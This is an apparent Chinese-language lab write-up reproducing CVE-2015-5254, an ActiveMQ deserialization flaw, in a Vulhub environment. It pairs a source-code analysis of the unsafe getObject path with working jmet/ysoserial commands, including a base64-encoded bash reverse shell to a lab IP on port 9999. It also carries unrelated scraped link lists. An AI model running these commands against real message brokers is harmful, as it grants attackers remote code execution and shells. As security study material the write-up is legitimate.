Vulhub activewq_漏洞复现——源码分析

漏洞简介

Apache ActiveMQ是由美国阿帕奇(Apache)软件基金会开发的开源消息中间件,支持Java消息服务、集群、Spring框架等。属于消息队列组件(消息队列组件:分布式系统中的重要组件,主要解决应用耦合、异步消息、流量削峰等)。

Apache Active MQ5.13.0版本之前到5.x版本的安全漏洞,该程序引起的漏洞不限制代理中可以序列化的类。远程攻击者可以制作一个特殊的序列化Java消息服务(JMS) ObjectMessage对象,利用该漏洞执行任意代码。

CVE-2015-5254

漏洞复现

运行环境
docker-compose up -d

环境运行后,将监听61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。访问http://your-ip:8161即可看到web管理页面

访问8161端口

在攻击机中构建攻击payload,利用jmet生成一个序列化的对象

jmet的原理是使用ysoserial生成payload并发送,所以我们需要在ysoserial是gadget中选择一个可以使用的。

1、下载jmet的jar文件,并在同目录下创建一个external文件夹

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

2、给目标Activemq添加一个名为event的队列,此时就成功给服务器添加了一个“事件”

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616

我们可以通过http://your-ip:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:

点击查看这条消息即可触发命令执行,此时进入容器docker-compose exec activemq bash,可见/tmp/hack_for_fun已成功创建,说明漏洞利用成功

3、获取目标机系统控制权

nc监听9999端口

payload:bash -i >& /dev/tcp/172.16.135.210/9999 0>&1

对payload进行base64编码,再就是和之前一样利用jmet-0.1.0-all.jar

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTM1LjIxMC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 172.16.135.201 61616

靶机点击之后,就会反弹shell

源码阅读

下载源码

https://archive.apache.org/dist/activemq/5.12.0/activemq-parent-5.12.0-source-release.zip

漏洞分析

在漏洞复现中,是通过点击web前端查看页面触发payload执行的,但理论上如果某个ConsumerBroker中读取该消息致本地,并直接或间接调用了javax.jms.ObjectMessage实现类的getObject方法就会导致反序列化链的除法。先根据公开的内容,攻击者将消息发送至Bocker,党管理员点击查看消息的按钮时,触发漏洞。

根据browse.jsp中的内容,查看页面的逻辑为于message.jsp

···
<tr>
<td class="layout" colspan="2">
<table id="body" width="100%">
<thead>
<tr>
<th>
Message Details
</th>
</tr>
</thead>
<tbody>
<tr>
<td><div class="message"><pre class="prettyprint"><c:out value="${requestContext.messageQuery.body}"/></pre></div></td>
</tr>
</tbody>
</table>
</td>
</tr>
···

消息的展示在此处,它从requestContext中获取messageQuery.body的内容,需要找到处理它的类。通过查看WEB-INF/webconsole-query.xml中的bean信息,找到了messageQuery类。

messageQuery类中的getBody函数如下

public Object getBody() throws JMSException {
Message message = getMessage();
if (message instanceof TextMessage) {
return ((TextMessage) message).getText();
}
if (message instanceof ObjectMessage) {
try {
return ((ObjectMessage) message).getObject();
} catch (JMSException e) {
//message could not be parsed, make the reason available
return e;
}
}
if (message instanceof MapMessage) {
return createMapBody((MapMessage) message);
}
if (message instanceof BytesMessage) {
BytesMessage msg = (BytesMessage) message;
int len = (int) msg.getBodyLength();
if (len > -1) {
byte[] data = new byte[len];
msg.readBytes(data);
return new String(data);
} else {
return "";
}
}
if (message instanceof StreamMessage) {
return "StreamMessage is not viewable";
} // unknown message type
if (message != null) {
return "Unknown message type [" + message.getClass().getName() + "] " + message;
} return null;
}

这里如果消息类型如果是ObjectMessage则会调用回调getBody()ActiveMQObjectMessage的实现位于类org.apache.activemq.command.ActiveMQObjectMessagegetObject()方法会调用readobject()方法中将data中的数据进行反序列化并且触发漏洞。

调用的getObject函数如下:

public Serializable getObject() throws JMSException {
if (object == null && getContent() != null) {
try {
ByteSequence content = getContent();
InputStream is = new ByteArrayInputStream(content);
if (isCompressed()) {
is = new InflaterInputStream(is);
}
DataInputStream dataIn = new DataInputStream(is);
ClassLoadingAwareObjectInputStream objIn = new ClassLoadingAwareObjectInputStream(dataIn);
try {
object = (Serializable)objIn.readObject();
} catch (ClassNotFoundException ce) {
throw JMSExceptionSupport.create("Failed to build body from content. Serializable class not available to broker. Reason: " + ce, ce);
} finally {
dataIn.close();
}
} catch (IOException e) {
throw JMSExceptionSupport.create("Failed to build body from bytes. Reason: " + e, e);
}
}
return this.object;
}

可以看到有一个魔术方法readObject。这里通过ClassLoadingAwareObjectInputStreamObjectInputStream进行了封装,覆盖了resolveClassresolveProxy,限制仅从当前线程的类加载器来加载目标类,但并没有进行类型限制。

protected Class<?> resolveClass(ObjectStreamClass classDesc) throws IOException, ClassNotFoundException {
ClassLoader cl = Thread.currentThread().getContextClassLoader();
return load(classDesc.getName(), cl, inLoader);
}

Java反序列化学习

漏洞成因

如果Java应用对用户输入的内容进行了反序列化处理,攻击者可以利用这个特性构造恶意语句,让反序列化产生非预期的对象,在产生过程中可能带来任意代码执行

Vulhub activewq_漏洞复现——源码分析的更多相关文章

  1. Log4j漏洞源码分析

    Log4j漏洞源码分析 这几天Log4j的问题消息满天飞,今天我们就一起来看看从源码角度看看这个漏洞是如何产生的. 大家都知道这次问题主要是由于Log4j中提供的jndi的功能. 具体涉及到的入口类是 ...

  2. angular源码分析:angular中脏活累活承担者之$parse

    我们在上一期中讲 $rootscope时,看到$rootscope是依赖$prase,其实不止是$rootscope,翻看angular的源码随便翻翻就可以发现很多地方是依赖于$parse的.而$pa ...

  3. folly::AtomicHashmap源码分析(二)

    本文为原创,转载请注明:http://www.cnblogs.com/gistao/ 背景 上一篇只是细致的把源码分析了一遍,而源码背后的设计思想并没有写,设计思想往往是最重要的,没有它,基本无法做整 ...

  4. Nmap源码分析(脚本引擎)

    Nmap提供了强大的脚本引擎(NSE),以支持通过Lua编程来扩展Nmap的功能.目前脚本库已经包含300多个常用的Lua脚本,辅助完成Nmap的主机发现.端口扫描.服务侦测.操作系统侦测四个基本功能 ...

  5. HTTP严格安全传输(HTTP Strict Transport Security, HSTS)chromuim实现源码分析(一)

    // HTTP strict transport security (HSTS) is defined in// http://tools.ietf.org/html/ietf-websec-stri ...

  6. 一个普通的 Zepto 源码分析(二) - ajax 模块

    一个普通的 Zepto 源码分析(二) - ajax 模块 普通的路人,普通地瞧.分析时使用的是目前最新 1.2.0 版本. Zepto 可以由许多模块组成,默认包含的模块有 zepto 核心模块,以 ...

  7. SOFA 源码分析 — 预热权重

    前言 SOFA-RPC 支持根据权重对服务进行预热功能,具体地址:预热权重. 引用官方文档: 预热权重功能让客户端机器能够根据服务端的相应权重进行流量的分发.该功能也常被用于集群内少数机器的启动场景. ...

  8. 【精】EOS智能合约:system系统合约源码分析

    系统合约在链启动阶段就会被部署,是因为系统合约赋予了EOS链资源.命名拍卖.基础数据准备.生产者信息.投票等能力.本篇文章将会从源码角度详细研究system合约. 关键字:EOS,eosio.syst ...

  9. 分布式存储Seaweedfs源码分析

    基于源码版本号 0.67 , [Seaweedfs以前旧版叫Weedfs]. Seaweedfs 是一个非常优秀的由 golang 开发的分布式存储开源项目, 虽然在我刚开始关注的时候它在 githu ...

  10. Tornado源码分析 --- Cookie和XSRF机制

    Cookie和Session的理解: 具体Cookie的介绍,可以参考:HTTP Cookie详解 可以先查看之前的一篇文章:Tornado的Cookie过期问题 XSRF跨域请求伪造(Cross-S ...

随机推荐

  1. 在.net core中开发web页面,更新html代码刷新不生效的问题

    因为在.net core之后的版本,程序都是以控制台应用程序的方式存在,所以一些老的项目升级后,会出现这样的情况, 解决方法,在nuget中引入 Microsoft.AspNetCore.Mvc.Ra ...

  2. Python第3章 流程控制语句(第2次作业)

    实例01 判断输入的是不是黄蓉所说的数 ①使用内置的print()函数输出"今有物不知其数,三三数之剩二,五五数之剩三,七七数之剩二,问几何?",代码如下: ②使用input()函 ...

  3. ajax缓存和fiddler——http协议调试代理工具

    1.在ie9下,ajax请求可能会有缓存,需要在请求上一个随机数 如:Math.random(); 2.fiddler2 打开以后可以查看所有的http请求情况,也可以使用本地脚本代替要请求的js文件 ...

  4. 组合计数中的q-模拟 q analog

    拒绝更新,深度和广度上建议看这个pdf URL里面用到的一些query-string过期了,,, 论文题目是 THE q-SERIES IN COMBINATORICS; PERMUTATION ST ...

  5. StyleGAN 调整面部表情,让虚拟人脸更生动

    目录 人脸表情 调整步骤 调整结果 人脸表情 通过上一篇文章 StyleGAN 生成的人脸:https://www.cnblogs.com/tinygeeker/p/17236264.html 人脸图 ...

  6. 刷爆 LeetCode 周赛 337,位掩码/回溯/同余/分桶/动态规划·打家劫舍/贪心

    本文已收录到 AndroidFamily,技术和职场问题,请关注公众号 [彭旭锐] 提问. 大家好,我是小彭. 上周末是 LeetCode 第 337 场周赛,你参加了吗?这场周赛第三题有点放水,如果 ...

  7. 搭建Hadoop2.7.2和Hive2.3.3以及Spark3.1.2

    Hadoop 简介 Hadoop是一个用Java编写的Apache开源框架,允许使用简单的编程模型跨计算机集群分布式处理大型数据集.Hadoop框架工作的应用程序在跨计算机集群提供分布式存储和计算的环 ...

  8. [网络/Linux]网络嗅探工具——nmap

    1 nmap 简介 Nmap 即 Network Mapper,最早是Linux下的网络扫描和嗅探工具包. nmap是网络扫描和主机检测的工具,用nmap进行信息收集和检测漏洞,功能有: 检测存活主机 ...

  9. [Linux]U盘启动盘安装CentOS7系统(LiveGNOME版)

    1 准备:工具 U盘 容量:视CentOS具体版本需要而定.推荐4G+ UltraISO(软碟通) ISO制作工具 / U盘启动盘刻录工具 2 制作:U盘启动盘 step1 下载CentOS镜像 Ce ...

  10. [Java]排序算法>选择排序>【简单选择排序】(O(n*n)/不稳定/)

    1 选择排序 1.1 算法思想 每一趟从待排序的记录中选出关键字最小的记录,按顺序放在已排序的记录序列的最后(or最前面),直到全部排完位置. 1.2 算法特征 属于[选择排序] 简单选择排序 堆排序 ...